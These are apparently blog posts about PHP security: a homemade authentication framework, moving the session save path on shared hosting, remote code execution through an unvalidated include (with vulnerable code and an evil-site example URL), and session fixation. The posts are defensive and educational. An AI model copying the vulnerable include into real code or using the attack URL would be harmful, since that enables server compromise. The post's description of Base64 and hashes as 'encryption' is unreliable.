Introducing the MDBitz Security and Authentication Framework for PHP. I have always had an issue with any PHP Security or Authentication Framework or library that I have utilized in past projects. That is why I am developing my own comprehensive Security and Authentication Framework.
I am building this framework from the ground up keeping all security risks and precautions in mind, from Session Hijacking, SQl-Injection, and Shared Hosting Vulnerabilities. The project currently is still in its infancy but I am actively working to make it the one source for easily securing your website and content without forcing you to learn a new system to work in.
Features
User Authentication & Timeout
The MDSecurity contains the capability to provide authentication of the user’s IP Address, Browser Agent, and Max Attempts. These are fully configurable allowing you to easily determine what you want to verify. In addition MDSecurity allows you to set both a session timeout and a request timeout allowing you to define how long a session is valid for and when to invalidate the session upon inactivity of the user.
Session Handlers
The MDSecurity framework contains built in Session Handlers that you can configure to modify how PHP saves your users’ session information. Currently you can specify a new file path, or configure your session information to be saved into a database.
Encryption
Built into the library are Encryption functionality that can be utilized both at the Client side (JavaScript) and Server side (PHP). The supported encryption methods are Base 64, md5, sha1, sha256.
For full details on the PHP MDBitz Security and Authentication Framework (MDSecurity) please visit the official site
Autentication Framework, PHP, PHP Authentication, PHP Security, Secuirty Framework
Beginner web developers may not be fully aware of the security vulnerabilities from shared hosting. Most shared hosting servers work by having a common php installation that uses the same php.ini configurations to run. What this means to the user is that all session information for all users are stored in a common directory on the server. This can allow for users to access the session data for another user’s website and use that information to bypass your sites authentication security.
The good news is that php has multiple methods for modifying the path that session information is saved so that you can put it in a directory that only your user has access to. Taking the time to modify the session.save_path configuration is just one more way to secure your website and any users’ data.
Method 1: Modify the php.ini file
The php.ini file contains the settings used by php upon run time. To update this file simply do a search of the session.save_path and modify the value to a path that is inside your user directory but outside of the web root. For example if your user account was /users/abc123/ and your website was at /users/abc123/www.example.com/ then you would want to have your session information stored at /users/abc123/temp or similar.
session.save_path = /users/abc123/temp
Method 2: Set the path using the session_save_path function
If you don’t have access to modifying the php.ini file then your second option is to use the session_save_path method. This method can be used to both get the current path as well as to set the path. Simply call this function before you do any session handling in your php pages to have it use your desired path.
<?php session_save_path( "/users/abc123/temp" ); ?>
Method 3: Set the path by use of the ini_set function
The ini_set function can be used to override most of the settings that you can set in the php.ini file. It allows you to pass a key value pair of the configuration to be set and the value to give it.
<?php ini_set("session.save_path", "/users/abc123/temp" ); ?>Modifying the session save path from a shared directory is one more step you can take to secure your php websites. One item to note is that the directory must exist as the session handler will not create the folder if it does not.
Resources
ini_set, PHP, php.ini, Security, session.save_path, session_save_path, Shared Hosting Security
Remote Code Execution is a security vulnerability in where a malicious user manipulates input or a url to run code from a remote location. Unlike Cross Site Scripting XSS where only the user is affected Remote Code Execution could run scripts that delete all files on your server. This security risk like most vulnerabilities comes from insufficient validation of user input to the Application.
Vulnerability Example
Lets imagine we built a dynamic application that takes a page query parameter to determine what php page to be used for displaying to the user. In this case the back end code could look something like:
$page = $_GET['page']
include $page
As you may notice a malicious user could manipulate the query parameter to point to a file on their own server.
http://www.example.com/?page=<em>http://www.evil-site-name.com/destroy.php</em>
Doing so would cause their file to run with the permissions of your own server giving them access to your server to delete or modify content in addition to finding out server information.
How to Protect your code
Protecting your codes is a simple practice, Validate user input! Verify the information your users enter matches what you are expecting, or make sure that it is properly escaped. The best method to use is White List as in you check input against allowed values unlike Black Listing where you try to check against invalid input, in most cases their are a lot more invalid cases then valid cases. To check if your are vulnerable look to see if you run exec include, require, file_get_contents, or similar functions on user input without testing to see that they inputted what you were expecting even if it is a post variable.
Cross Site Scripting, Remote Code Execution, XSS
Session Fixation is a security vulnerability where a user sets the Session Identifier (SID) of a user to a known value, allowing them to access your session. This would allow the malicious user to access the user’s private information.
For Example:
Jason has determined that his neighbor Joe’s bank site http://mybank.com is susceptible to a session fixation attack. Jason then sends Joe an email with a link to his bank setting the SessionID to a value known to him http://mybank.com?SID=12345. Joe trusting his neighbor clicks on the link and proceeds to sign-in to his account online. Jason now can use the link he sent Joe to access Joe’s account.
Prevention:
This attack can be avoided by changing the users SID when their permission level changes e.g: login. What this would mean is that even if Joe click on the link sent by Jason once he logins to his account the site would generate a new SID for him that Jason would not know and he would not be able to get access to Joe’s account.
Psuedo code [PHP]:
public function authenticate() {
// get user name
$user_name = $_POST['user_name'];
// get password
$password = $_POST['password'];
//validate the user
if( validateUser( $user_name, $password ) ) {
// regenerate the session id
session_regenerate_id( true );
return true;
} else {
return false;
}
}